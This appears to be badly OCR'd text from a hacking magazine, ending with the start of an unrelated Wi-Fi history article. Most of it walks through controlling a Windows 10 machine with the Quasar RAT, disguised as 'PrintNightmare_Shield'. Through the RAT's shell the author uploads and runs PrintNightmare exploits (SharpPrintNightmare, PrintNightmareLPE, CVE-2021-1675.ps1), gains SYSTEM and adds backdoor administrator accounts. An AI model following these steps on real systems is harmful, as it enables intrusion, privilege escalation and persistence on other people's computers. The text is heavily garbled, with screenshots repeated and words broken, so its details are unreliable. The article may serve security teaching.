		System	0.0.0.0	445	0.0.0.0	0	Listening		
		svchost	0.0.0.0	5040	0.0.0.0	0	Listening		
		wininit	0.0.0.0	49664	0.0.0.0	0	Listening		
		svchost	0.0.0.0	49665	0.0.0.0	0	Listening		
		Isass	0.0.0.0	49666	0.0.00	0	Listening		
		spoolsv	0.0.0.0	49667	0.0.00	0	Listening		
		Isass	0.0.00	49668	0.0.0.0	0	Listening		
		services	0.0.0.0	49670	0.0.0.0	0	Listening		
		svchost	0.0.0.0	49671	0.0.0.0	0	Listening		
		svchost	0.0.00	49672	0.0.00	0	Listening		
		System	10.10.10.128	139	0.0.00	0	Listening		
		System	192.168.36.209	139	0.0.0.0	0	Listening		
		Established							
		PrintNightmare_Shield	192.168.36.209	49726	192.168.36.1	4782	Established		
			2						
ening on port 478	B2.				11				
ing RAT	s, 1 c	can even exect	ite remote	commai	nds on the	e target	system.		
Quasar - Connec le Settings	cted: 1 [Se Builder	lected: 1] About							- 0
Address	Tag	User@PC	Version	Status	User Status Count	try	Operating Sy	stem	Account Typ
192.168.36.209	Special.	user1@RECEPTION			A salina I laitan	- Cana - 11101	Windows 10	Education 64 Bit	User
	1000		Administratio	n 🕨	 System Inform 	nation			
			Monitoring	• 1	File Manager				
			A User Support		Startun Mana				
			oser Support		Startup Manag	ger			
			Client Manag	ement 🕨	Task Manager				
			Select All		Remote Shell				
			Jerece An		TCR Connecti				
					A ICP Connection	UTIS			
				4					
					Reverse Proxy				
					Reverse Proxy Registry Edito	r I			
				1	Reverse Proxy Registry Edito	r			
				4	 Reverse Proxy Registry Edito Remote Execution 	r ite 🕨	🔿 Local File		
					 Reverse Proxy Registry Edito Remote Executions 	r ite	 Local File Web File, 		
					 Reverse Proxy Registry Edito Remote Executions 	r ute	 Local File Web File. 		
					 Reverse Proxy Registry Editor Remote Execution Actions 	r ute	 Local File Web File. 	 	
					 Reverse Proxy Registry Editor Remote Executive Actions 	r ite	🤿 Local File 🎯 Web File,		
					 Reverse Proxy Registry Edito Remote Execution Actions 	r ite	🔿 Local File 🎯 Web File.	 	
					 Reverse Proxy Registry Edito Remote Executions 	r ite	🤿 Local File 🎯 Web File.		
					 Reverse Proxy Registry Edito Remote Executions 	r ute	 Local File Web File. 	**	
st but po	t loo	st. I can shutd	own or rost	art tha t	 Reverse Proxy Registry Edito Remote Executive Actions 	r <u>te</u> ,	Local File Web File.	liko	
st but no Quasar - Connect	ot leas	st, I can shutdo	own or rest	art the t	 Reverse Proxy Registry Edito Remote Executions Actions 	em whe	 Local File Web File. 	like.	
.st but no Quasar - Connect e Settings E	ot leas ted: 1 [Sel Builder	st, I can shutde lected: 1] About	own or rest	art the t	 Reverse Proxy Registry Edito Remote Executions Actions 	em whe	 Local File Web File. 	like.	
ust but no Quasar - Connect e Settings E Address	ot leas ted: 1 [Sel Builder Tag	st, I can shutde lected: 1] About User@PC	Own or rest	art the ta	 Reverse Proxy Registry Edito Remote Executions Actions Actions 	em whe	 Local File Web File. 	tike.	- D
ust but no Quasar - Connect e Settings E Address 192.168.36.209	ot leas ted: 1 [Sei Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or rest	art the ta	Reverse Proxy Registry Editor Remote Execute Actions arget system Jser Status Count	em whe	 Local File Web File 	tike.	- D Account Type User
ust but no Quasar - Connect e Settings E Address 192.168.36.209	ot leas ted: 1 [Se Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or resta	art the ta	 Reverse Proxy Registry Edito Remote Execution Actions Actions 	em whe	 Local File Web File. 	tike. stem Education 64 Bit	- D Account Type User
ust but no Quasar - Connect e Settings E Address 192.168.36.209	ot leas ted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or resta	art the ta	 Reverse Proxy Registry Edito Remote Execution Actions Actions 	em whe	 Local File Web File. 	turners and the stem Education 64 Bit	- D Account Type User
ust but no Quasar - Connect e Settings E Address 192.168.36.209	ot leas ted: 1 [Sei Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or restance Version S Administration Monitoring S User Support	art the ta	 Reverse Proxy Registry Edito Remote Executions Actions Actions 	em whe	 Local File Web File. 	tike.	- D Account Type User
ust but no Quasar - Connec e Settings E Address 192.168.36.209	ot leas ted: 1 [Sei Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Version S Administration Monitoring User Support	art the ta	 Reverse Proxy Registry Edito Remote Execution Actions Actions 	em whe	 Local File Web File. 	tike.	- D Account Type User
ust but no Quasar - Connec e Settings E Address 192.168.36.209	ot leas ted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or restance Version S Administration Monitoring S User Support Client Manage	art the ta	 Reverse Proxy Registry Edito Remote Execution Actions Actions 	em whe	 Local File Web File. 	tike.	- D Account Type User
Address 192.168.36.209	ot leas ted: 1 [Se Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or resta	art the ta	 Reverse Proxy Registry Edito Remote Execution Actions Actions 	em whe	 Local File Web File. 	like.	- D Account Type User
Ast but no Quasar - Connec le Settings E Address 192.168.36.209	ot leas ted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	OWN OR REST Version S Administration Monitoring Select All	art the ta	Reverse Proxy Registry Edito Remote Execut Actions Actions User Status User Status System Inform Siter Manager Startup Manager Startup Manager Remote Shell TCP Connection	em whe	 Local File Web File. 	tike.	Account Type
Ast but no Quasar - Connec le Settings E Address 192.168.36.209	ot leas ted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or restance Version S Administration Monitoring Select All	art the ta	Reverse Proxy Registry Edito Remote Execu Actions Actions User Status User Status System Inform Sile Manager Startup Manager Startup Manager Remote Shell TCP Connection Reverse Prove	em whe	 Local File Web File. 	tike. stem Education 64 Bit	- D Account Type User
ust but no Quasar - Connec le Settings E Address 192.168.36.209	ot leas ted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or restance Version S Administration Monitoring User Support Client Manage Select All	art the ta	 Reverse Proxy Registry Edito Remote Execution Actions Actions 	em whe	 Local File Web File. 	then and the stem Education 64 Bit	- D Account Type User
ust but no Quasar - Connec e Settings E Address 192.168.36.209	ot leas tted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or restance Version S Administration Monitoring User Support Client Manage Select All	art the ta	 Reverse Proxy Registry Edito Remote Execution Actions Actions 	em whe	 Local File Web File. 	tike. stem Education 64 Bit	- D Account Type User
e Settings E Address 192.168.36.209	ot leas ted: 1 [Se Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or resta	art the ta	Reverse Proxy Registry Editor Remote Execute Actions Actions Actions System Inform File Manager Startup Manager Startup Manager Task Manager Remote Shell TCP Connection Reverse Proxy Registry Editor Remote Execute	em when	 Local File Web File. 	tike. stem Education 64 Bit	Account Type
st but no Quasar - Connec e Settings E Address 192.168.36.209	ot leas ted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or resta	art the ta	Reverse Proxy Registry Edito Remote Execut Actions Action	em whe	 Local File Web File. 	tike.	- D Account Type User
st but no Quasar - Connec e Settings E Address 192.168.36.209	ot leas ted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or resta Version S Administration Monitoring User Support Client Manage Select All	art the ta	 Reverse Proxy Registry Edito Remote Execution Actions Actions 	em whe	 Local File Web File. Operating Systems 10 If Windows 10 If Shutdown	the stem Education 64 Bit	Account Type User
ust but no Quasar - Connec e Settings E Address 192.168.36.209	ot leas tted: 1 [Sel Builder Tag Special	st, I can shutde lected: 1] About User@PC user1@RECEPTION	Own or resta Version S Administration Monitoring User Support Client Manage Select All	art the ta	 Reverse Proxy Registry Editor Remote Execution Actions Actions 	em whe	 Local File Web File. Deven I Operating Systems Windows 10 I Windows 10 I Shutdown Restart	tike.	Account Type User

What about the File Manager and Remote Shell features. Let me show you practically.

It's time for privilege escalation. Since the patches for print nightmare are not yet released and all the versions of Windows from Windows 7 to higher are vulnerable to PrintNightmare vulnerable-ility I can just boldly assume that this system is vulnerable to PrintNightmare vulnerability.

So the only thing left for me is to upload one PrintNightmare Exploit to the target system and run it. After some profound searching, I found a PrintNightmare privilege escalation script written in C# sharp. The download information of this exploit is given in our Downloads section,

As it is written in C sharp, it can be compiled using same Visual Studio just like I compiled the Quasar RAT.



ile Explor	rer CDrive	C:\ [Local Disk, NTFS] V Remote P	th: C:\Users\user1			
	Nam	e	Size	Туре		
Transfers	s 🦛					
	2 3	D Objects		Directory		
	E A	ppData		Directory		
		pplication Data		Directory		
		ontacts		Directory		
		Download		Directory		
		lecton		Directory		
		Upload		Directory		
		Frecute		Directory		
				Directory		
		avorites Rename		Directory		
		inks 🥥 Delete		Directory		
		ocal Settings		Directory		
	1 I I I I I I I I I I I I I I I I I I I	Add to Start	IP	Directory		
	1 N	Ausic Refeet		Directory		
		ly Documents		Directory		
		letHood 🔤 Open Directo	ry in Remote Shell	Directory		
	i i i i i i i i i i i i i i i i i i i	IneDrive		Directory		
	🔚 F	ictures		Directory		
	E P	rintHood		Directory		
	🔚 F	ecent		Directory		
	🔁 S	aved Games		Directory		
Ready explo	it is succe	aved Games earches ssfully uploaded.		Directory		
Ready explo	it is succe	aved Games earches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726]		Directory Directory — □	×	
Ready explor sar - Settir	it is succe File Manager - user	aved Games earches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTFS] V Remote Pat	1: C:\Users\user1	Directory Directory — □	×	
Ready exploit sar - (Settir ess	it is succe File Manager - user File Explorer	aved Games earches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTF5] V Remote Pat	1: C:\Users\user1	Directory Directory — —	×	
Ready exploit sar - (Settir ess	it is succe File Manager - user File Explorer Transfers	aved Games earches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTFS] V Remote Pat Name	n: C:\Users\user1 Size	Directory Directory — —	×	unt Type
Ready explo: sar - (Settir ess 168.36	it is succe File Manager - user File Explorer Transfers	ssfully uploaded. Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Searches Sea	n: C:\Users\user1 Size	Directory Directory — —	×	unt Type
Ready explored sar - (Settir ess 168.36	it is succe File Manager - user File Explorer Transfers	aved Games earches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTFS] V Remote Pat Name MicrosoftEdgeBackups Music Music	n: C:\Users\user1 Size	Directory Directory — —	×	unt Type
Ready exploit sar - (Settir l68.36	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\[Local Disk, NTF5] Remote Pat Mame MicrosoftEdgeBackups Music Music Music NetHood NetHood	n: C:\Users\user1 Size	Directory Directory — — — Type Directory Directory Directory Directory Directory	×	unt Type
Ready explo: sar - (Settir ess 168.36	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTFS] Remote Pat Mame MicrosoftEdgeBackups Music Music Music NetHood OneDrive	n: C:\Users\user1 Size	Directory Directory — — — Type Directory Directory Directory Directory Directory Directory Directory Directory	×	unt Type
Ready explored sar - (Settir ess 168.36	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTFS] Remote Pat Name MicrosoftEdgeBackups Music Nusic	n: C:\Users\user1 Size	Directory Directory — Type Directory Directory Directory Directory Directory Directory Directory Directory Directory Directory Directory	×	unt Type
Ready exploit sar - (Settir ess 168.36	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\[Local Disk, NTFS] Remote Pat Name MicrosoftEdgeBackups MicrosoftEdgeBackups Music Music Music NetHood ConeDrive Pictures Pictures Pictures Pictures PintHood	n: C:\Users\user1 Size	Directory Directory — — — Type Directory Directory Directory Directory Directory Directory Directory Directory Directory Directory Directory Directory Directory Directory	×	unt Type
Ready exploit sar - (Settir 168.36	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTF5] Remote Pat Name MicrosoftEdgeBackups Music Music Music Music NetHood Pictures Pictures Recent	n: C:\Users\user1 Size	Directory Directory — Type Directory	×	unt Type
Ready explored sar - (Settir ess 168.36	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. I@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTFS] Remote Pat Name MicrosoftEdgeBackups Music Music My Documents NetHood ConeDrive Pictures Pictures Pictures Search Sea	n: C:\Users\user1 Size	Directory Directory — Type Directory	×	unt Type
Ready explo: sar - (Settir ess 168.36	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. I@RECEPTION [192.168.36.209:49726] Drive: C:\[Local Disk, NTFS] Remote Pat Name MicrosoftEdgeBackups Name MicrosoftEdgeBackups Name Remote Pat Remote Pat Remote Pat Saved Games Saved Games Searches	n: C:\Users\user1 Size	Directory Directory — — — Type Directory	×	unt Type
Ready exploit sar - (Settir 168.36	it is succe File Manager - user File Explorer Transfers	aved Games searches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTF5] \rightarrow Remote Pat Name MicrosoftEdgeBackups Music Music My Documents NetHood OneDrive Pictures PrintHood Recent Saved Games Searches Searches SendTo	n: C:\Users\user1 Size	Directory Directory — — — — Type Directory	×	unt Type
Ready exploit sar - (Settir ess 168.3t	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. I@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTF5] Remote Pat Name MicrosoftEdgeBackups Music Music My Documents NetHood ConeDrive Pictures Pictures Pictures Saved Games Saved Games Searches Sear	n: C:\Users\user1 Size	Directory Directory — — — Type Directory	×	unt Type
Ready explored sar - C Settir 168.36	it is succe File Manager - user File Explorer Transfers	searches ssfully uploaded. ssfully uploaded. I@RECEPTION [192.168.36.209:49726] Drive: C:\[Local Disk, NTF5] Remote Pat Name MicrosoftEdgeBackups Music My Documents My Documents NetHood ConeDrive Recent Saved Games Searches Sea	n: C:\Users\user1 Size	Directory Directory — — — Type Directory	×	unt Type
Ready exploit sar - (Settir 168.36	it is succe File Manager - user File Explorer Transfers	searches ssfully uploaded. I@RECEPTION [192.168.36.209:49726] Drive: C:\[Local Disk, NTF5] Remote Pat Name MicrosoftEdgeBackups Music Music Music Music NetHood ConeDrive Pictures Pictures Pictures Saved Games Searches Search	n: C:\Users\user1 Size	Directory Directory — — — — Type Directory		unt Type
Ready exploit sar - (Settir 168.36	it is succe File Manager - user File Explorer Transfers	searches searches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTF5] Remote Pat Name MicrosoftEdgeBackups Music Music My Documents NetHood OneDrive Pictures Pictures Pictures Searches Se	n: C:\Users\user1 Size	Directory Directory — Type Directory	×	unt Type
Ready explored sar - (Settir ess 168.36	it is succe File Manager - user File Explorer Transfers	aved Games searches ssfully uploaded. 1@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTF5]	n: C:\Users\user1 Size	Directory Directory — — — Type Directory File		unt Type
Ready exploit sar - (Settir 168.36	it is succe File Manager - user File Explorer Transfers	aved Games iearches ssfully uploaded. (@RECEPTION [192.168.36.209:49726] Drive: C:\ [Local Disk, NTF5] Remote Pat Name MicrosoftEdgeBackups Music Music Music Music Nume Pictures Pictures Pictures Pictures Saved Games Searches Searche	n: C:\Users\user1 Size 1 MB 285 KB 424 KB If 64 KB	Directory Directory — — — Type Directory File File		unt Type
Ready exploit sar - (Settir 168.36	it is succe File Manager - user File Explorer Transfers	aved Games iearches ssfully uploaded. I@RECEPTION [192.168.36.209:49726] Drive: C:\[Local Disk, NTFS] Remote Pat Name MicrosoftEdgeBackups Music Music Music My Documents Name PrintHood Recent Saved Games Searches Se	n: C:\Users\user1 Size 1 MB 285 KB 424 KB 164 KB 11 MB	Directory Directory 		unt Type
Ready exploit sar - (Settir 168.36	it is succe File Manager - user File Explorer Transfers	aved Games earches ssfully uploaded. [@RECEPTION [192.168.36.209:49726] Drive: C:\[Local Disk, NTFS] Remote Pat Name MicrosoftEdgeBackups Music Music Music Music Nusic Searches Se	n: C:\Users\user1 Size 1 MB 285 KB 424 KB Hf 64 KB 0n 512 KB 0n 512 KB	Directory Directory — — — — Type Directory File File File File		unt Type
Ready exploit sar - (Settir 168.36	it is succe File Manager - user File Explorer Transfers	aved Games earches ssfully uploaded. [@RECEPTION [192.168.36.209:49726] Drive: C:\[Local Disk, NTFS] Remote Pat Name MicrosoftEdgeBackups Music Music Music Music Music PrintHood ConeDrive Pictures Searches	n: C:\Users\user1 Size 1 MB 285 KB 424 KB If 64 KB on 512 KB on 512 KB 20 B	Directory Directory — — — — Type Directory File File File File File		unt Type

Now, I just open the Remote Shell .

"My own advice is install the patch, becasue it does protect against some already known circulating, prewritten exploits, so you might as well do it. But my recommendation would still be, your best bet, if you can possibly afford it..is leave the print spooler turned off". - Paul Ducklin, Principal Research Scientist, Sophos.



and move to the folder where we have uploaded the PrintNightmare exploit. and move to the folder where we have uploaded the PrintNightmare exploit.

Remote S	hell - user l@RE	CEPTION [192	2.168.36.209:49726]		X
2					^
3/16/2021	11:07 PM	<dir></dir>			
3/16/2021	11:07 PM	<dir></dir>			
7/10/2021	01:13 PM	<dir></dir>	3D Objects		
7/10/2021	01:13 PM	<dir></dir>	Contacts		
7/10/2021	01:13 PM	<dir></dir>	Desktop		
7/10/2021	01:13 PM	<dir></dir>	Documents		
3/16/2021	11:02 PM	<dir></dir>	Downloads		
7/10/2021	01:13 PM	<dir></dir>	Favorites		
7/10/2021	01:13 PM	<dir></dir>	Links		
7/10/2021	01:13 PM	<dir></dir>	Music		
7/10/2021	01:17 PM	<dir></dir>	OneDrive		
7/10/2021	01:14 PM	<dir></dir>	Pictures		
7/10/2021	01:13 PM	<dir></dir>	Saved Games		
7/10/2021	01:13 PM	<dir></dir>	Searches		
3/16/2021	11:07 PM	1	13,824 SharpPrintNightmare.exe		
7/10/2021	01:13 PM	<dir></dir>	Videos		
	1 File(s)	13,824 bytes		
	15 Dir(s) 51,748,5	540,416 bytes free		
\Users\us	ser1>				\sim

Once I am in the same folder as the exploit, I execute the exploit as shown below. Remote Shell - user1@RECEPTION [192.168.36.209:49726] × <DIR> OneDrive 07/10/2021 01:17 PM Pictures 07/10/2021 01:14 PM <DIR> 07/10/2021 01:13 PM <DIR> Saved Games 07/10/2021 01:13 PM <DIR> Searches 08/16/2021 11:07 PM 13,824 SharpPrintNightmare.exe 07/10/2021 01:13 PM <DIR> Videos 1 File(s) 13,824 bytes 15 Dir(s) 51,748,540,416 bytes free C:\Users\user1>sharpprintnightmare.exe C:\addcube.dll [*] pDriverPath C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_ 83aa9aebf5dffc96\Amd64\mxdwdrv.dll Ι [*] Executing C:\addcube.dll [*] Try 1... [*] Stage 0: 2 [*] Try 2... [*] Stage 0: 2 [*] Try 3... [*] Stage 0: 2 C:\Users\user1>

The exploit doesn't seem to work. No problem. There are many other PrintNightmare exploits we can use. The download information for this particular PrintNightmare LPE exploit is given in our Downloads section.

I upload the exploit on to the target system using the same method I have used earlier. Then open Remote Shell and navigate into the directory where the PrintNightmareLPE exploit is uploaded.

Remote S	hell - user1@REG	CEPTION [1	92.168.36.209:49756]	-	×
07/10/2021	01:13 PM	<dir></dir>	3D Objects		~
07/10/2021	01:13 PM	<dir></dir>	Contacts		
07/10/2021	01:13 PM	<dir></dir>	Desktop		
07/10/2021	01:13 PM	<dir></dir>	Documents		
08/16/2021	11:02 PM	<dir></dir>	Downloads		
07/10/2021	01:13 PM	<dir></dir>	Favorites		
07/10/2021	01:13 PM	<dir></dir>	Links		
07/10/2021	01:13 PM	<dir></dir>	Music		
07/10/2021	01:17 PM	<dir></dir>	OneDrive		
07/10/2021	01:14 PM	<dir></dir>	Pictures		
08/16/2021	11:33 PM		13,824 PrintNightmareLPE.exe		
07/10/2021	01:13 PM	<dir></dir>	Saved Games		
07/10/2021	01:13 PM	<dir></dir>	Searches		
08/16/2021	11:07 PM		13,824 SharpPrintNightmare.exe		
07/10/2021	01:13 PM	<dir></dir>	Videos		
08/16/2021	11:33 PM		92,672 vlib.dll		
08/16/2021	11:33 PM		14,848 xconsole.exe		
	4 File(s)	135,168 bytes		
	15 Dir(s)	51,761	,426,432 bytes free		
C:\Users\us	er1>				~
PrintNightm	areLPE.exe				

And right away execute it.

C:\Users\user1>printnightmarelpe.exe

The system cannot find the file C:\temp\testcase\xconsole.exe.

- [+] PrintNightmare Local Privilege Escalation POC by @404death
- [+] Found pDriverPath .
- [+] Drivers Count: 0
- [+] find Printer Driver ok.
- [+] Found DriverPath.
- [+] Found DefaultDataType.
- [+] Found szHardwareID.
- [+] Tryin' to launch xconsole !!!
- [+] AddPrinterDriverEx 0
- [-] AddPrinterDriverEx0

C:\Users\user1>

I got some error saying that the exploit did not find a file xconsole.exe. The file "xconcosle.exe" is provided with the exploit itself. The problem is the exploit is looking for it at the wrong location. It is looking for Xconsole.exe in C:\temp\testcase\xconsole.exe whereas that file is located in the same directory where PrintNightmareLPE.exe is located.

The path C:\temp\testcase\ is not even present on the target system. So I create it using remote shell and then upload the file xconsole.exe into that directory.



Remote Shell - user1@RECEPT	ION [192.168.36.209:49756]		17 - 10	\times
User may change password	Yes			^
Workstations allowed Logon script User profile Home directory	All			
Last logon	8/16/2021 11:02:59 PM			
Logon hours allowed	All			
Local Group Memberships Global Group memberships The command completed succe	*Users *None essfully.			
C:\>cd users		I		
C:\Users≻cd user1				
C:\Users\user1>printnightma	arelpe.exe			

I don't see anything on my side even now. So, using Quasar RAT, I open a Remote Desktop Session on the target and see a CMD Window open. The good news is that that CMD window is running with System Privileges. Can you see the system32 directory?



The exploit is indeed successful. So without delay, I create a new user named "hackercool" on the target system.

Technology doesn't always age gracefully.



ed.

This privilege escalation can also be performed using the Powershell script our readers have seen in our previous Issue. How can it be done? After uploading the Powershell script on the target using the File Manager option of the Quasar RAT,

"There is still a risk on any compromised computer that has the print spooler running." - Paul Ducklin, Sophos.



vulnerabilities. Named Magniber, the group normally uses malvertising to spread attacks, then exploits any unpatched vulnerabilities in the system. This group targets South Korean targets usually.

C Remote D	esktop - user1@RECEPTION [192.1	68.36.209:50201] - FPS: 5.	99			8		-	ð X
			Start	Stop Qu	ality:				
Q	Windows PowerShell ISE		Display 1		75 (high)			- 0 X	N.
Recycle Bin	File Edit View Tools Debug	Add-ons Help			100				
	1 🐸 🖬 🤞 🗅	> => (=	🕨 🖪 🗣 🔤						
2								Script 🕑	
Microroft	-a 8/17/2021 -a 8/16/2021	6:23 PM 11:33 PM	38616 nc.exe 13824 PrintNightmareLPE.e	xe					
Edge	-a 8/17/2021 -a 8/17/2021	6:28 PM 12:20 AM	13824 SharpPrintNightmare 547 shell.exe	. exe					
	-a 8/16/2021 -a 8/16/2021	11:33 PM 11:33 PM	14848 xconsole.exe						
	PS C:\Users\user1> cd do	ownloads							Contraction of the
2 Securit	PS C:\Users\user1\downlo	oads> din						_	
Run only se	cripts that you trust. While scripts fr	rom the internet can be u	seful this script can potentially harn	n vour computer. If v	ou trust this script use	the Unblock-File cmdlet to	allow the script to run with	hout this warning message. Do you	want to run C:
\Users\user	1\downloads\CVE-2021-1675.ps1?								
				Do not run Bun d	nce <u>S</u> uspend				
	-a 8/15/2021	7:10 AM 2	898944 PrintNightmare_Shie	ld.exe					
	PS C:\Users\user1\downlo	ads> Import-Module	CVE-2021-1675.ps1	ded because no	walid module fil	e was found in any m	ndule directory.		
	At line:1 char:1 + Import-Module CVE-2021	L-1675.ps1	sort to show has not to						
	+	: ResourceUnav	ailable: (CVE-2021-1675.ps	1:String) [Impo	rt-Module], File	NotFoundException			
	+ FullyQualifiedErro	orId : Modules_Modu	leNotFound,Microsoft.Power	Shell.Commands.	ImportModuleComm	and			
	PS C:\Users\user1\downlo	ads> Import-Module	.\CVE-2021-1675.ps1						
	e							5	
	Running script / selection. Press	Ctrl+Break to stop. Press	Ctrl+B to break into debugger.				Ln 56 Col 46	100%	
							8	to Settings to activate Wir	dows
								rio settings to activate with	
-		0						0 . m . 6	40 PM
	Type nere to search	ų	H C 🗖 🚥					おした。 1911年19月 8月	17/2021 9
C Remote D	esktop - user1@RECEPTION [192.1	68.36.209:50201] - FPS: 5.	19						o x
			Start	Stop Qu	ality:				
<u>e</u>	🔛 Windows PowerShell ISE		Display 1	U H	75 (high)			- 0 X	
Recycle Bin	File Edit View Tools Debug	Add-ons Help							
		> => (=	🕨 🗈 🔳 🕱 🔯						
e	BS Cilleans\usar1> ed de	unlowde //						Script 🕑	
Microsoft	PS C:\Users\user1\downlo	ads> dir							
Edge									1 Sector
	Directory: C:\Users\	user1\downloads							
	Mode Last	WriteTime	Length Name			⊳			
	-a 7/10/2021 -a 7/10/2021	1:15 PM 9:20 PM	178561 CVE-2021-1675.ps1 8779 powershell 171 4444	051					
	-a 8/15/2021	7:10 AM 2	898944 PrintNightmare_Shie	ld.exe					
	Import-Module : The spec	cified module 'CVE-	CVE-2021-1675.ps1 2021-1675.ps1' was not loa	ded because no	valid module fil	e was found in any m	odule directory.		
	+ Import-Module CVE-2021	L-1675.ps1							
	+ CategoryInfo + FullyQualifiedErro	: ResourceUnav	ailable: (CVE-2021-1675.ps leNotFound.Microsoft.Power	1:String) [Impo Shell.Commands.	rt-Module], File ImportModuleComm	NotFoundException and			
	PS C:\Users\user1\downlo	ads> Import-Module	.\CVE-2021-1675.ps1						
	[+] using default new us	ser: admin	are						
	[+] created payload at C [+] using pDriverPath =	:\Users\user1\Appl "C:\Windows\System	ata\Local\Temp\nightmare.d	11 orv\ntprint.inf	amd64 83aa9aebf	5dffc96\Amd64\mxdwdr	v.d11"		
	[+] added user as local [+] deleting payload fro	administrator	ppData\Local\Temp\nightmar	e.d]]					
	PS C:\Users\user1\downlo	oads>							
	<							3	
							Ln 66 Col 30	100%	
							Go	to Settings to activate Wir	idows.
EC	Type here to search	D	H 😑 🔚 🛱	N				유 스 토 네)	40 PM
D_{-1}	f 14	· · · 11			1 11 - 1 - 1	1	1		17/2021
lвà qe	erault, this act	ion will ci	reate a new us	er name	a "adm.	in" with ac	iministrato	r privileges of	n the
targe	t system unles	s we spec	ify a specific 1	usernam	e. This ı	iser can be	e seen usin	g the <mark>net use</mark> r	com
lman	d	1.01	J 1					0	
man	u.								
PS	C:\Users\use	r1\down1	oads> net us	er					
Dee	n accounts f		EPTTON						

User accounts for $\$	RECEPTION		
adm1n	admin	Administrator	
DerauicAccount user1	Guest WDAGUtilityAccount	hackercool	



Let's Get Deep and Then Crack WPA Using 3 Tools WIRELESS SECURITY

History of Wi-Fi

Wi-Fi is the name given to a family of wireless network protocols, based on the IEEE 802.11 family of standards. These are commonly used for local area networking of devices and also for Internet access. Simply put, this allows nearby digital devices to exchange data using radio waves. No need to mention what these devices are.

The beginning of Wi - Fi happened in the form of ALOHAnet which successfully connected the Great Hawaiian Islands with a UHF wireless packet network in 1971. ALOHA net and the ALOHA protocol in fact were precursors of Ethernet and 802.11 protocols.

After another 14 years, in 1985 a ruling by the U.S. Federal Communications Commission released the band for unlicensed use. These frequency bands are the 2.4 gigahertz (120 mm) UHF and 5 gigahertz (60 mm) SHF radio bands. These frequency bands are the same ones used by equipment such as microwave ovens, wireless devices etc.

The first version of the 802.11 protocol was released in year 1997 and provided speed up to 2 Mbit/s. The 802.1a came as an improvement over the original standard. It operates in 5 GHz band, uses a 52-subcarrier orthogonal frequency-division multiplexing (OFDM) and has speed of mid 20 Mbit/s. This was replaced with 802.11b protocol in 1999 and this had 11 Mbit/s speed. It is this protocol that would eventually make Wi -Fi popular.

In the same year, a non-profit association named Wi-Fi Alliance was formed which restricted the use of the term Wi-Fi Certified to products that successfully complete interoperability certification testing. By 2017, the Wi-Fi Alliance had more than 800 companies from around the world and shipped over 3.05 billion Wi-Fi enabled devices by year 2019.

The first devices to use Wi-Fi connectivity were made by Apple which adopted this option in their laptops. 802.11g was adopted to the 802.11 specification in year 2003. It operated in the 2.4 GHz microwave band and provided speed upto 11 Mbit/s. Another standard was adopted in year 2008, named 802.11n which operated in both 2.4 and 5 GHz and had a linkrates 72 to 600 Mbit/s. This standard was also known as WI-Fi 4.

Similarly, 802.11ac, 802.11ax and standards were also adopted later which further improved speed and performance of Wi -Fi. Now, let us learn about some terms that frequently occur regarding wireless.

Terminology Of Wi-Fi

Wireless Access Point (WAP) : A Wireless Access Point (WAP), commonly known as Access Point (AP) is a networking hardware device that allows other Wi-Fi devices to connect to it. This Access Point allows wireless devices to connect to wired devices and generally provides internet. Mostly the Access Point is a Wi -Fi Router.

Wireless Client : A Wireless Device that connects to the Wireless Access Point to access inter -net is known as a Wireless Client. Ex : all the devices that connect to a Wi- Fi Router.

Wireless Local Area Network (WLAN) : The Computer Network comprising of the Wireless Access Point and two or more Wireless Clients is known as Wireless Local Area Network. This is a LAN but without wires.

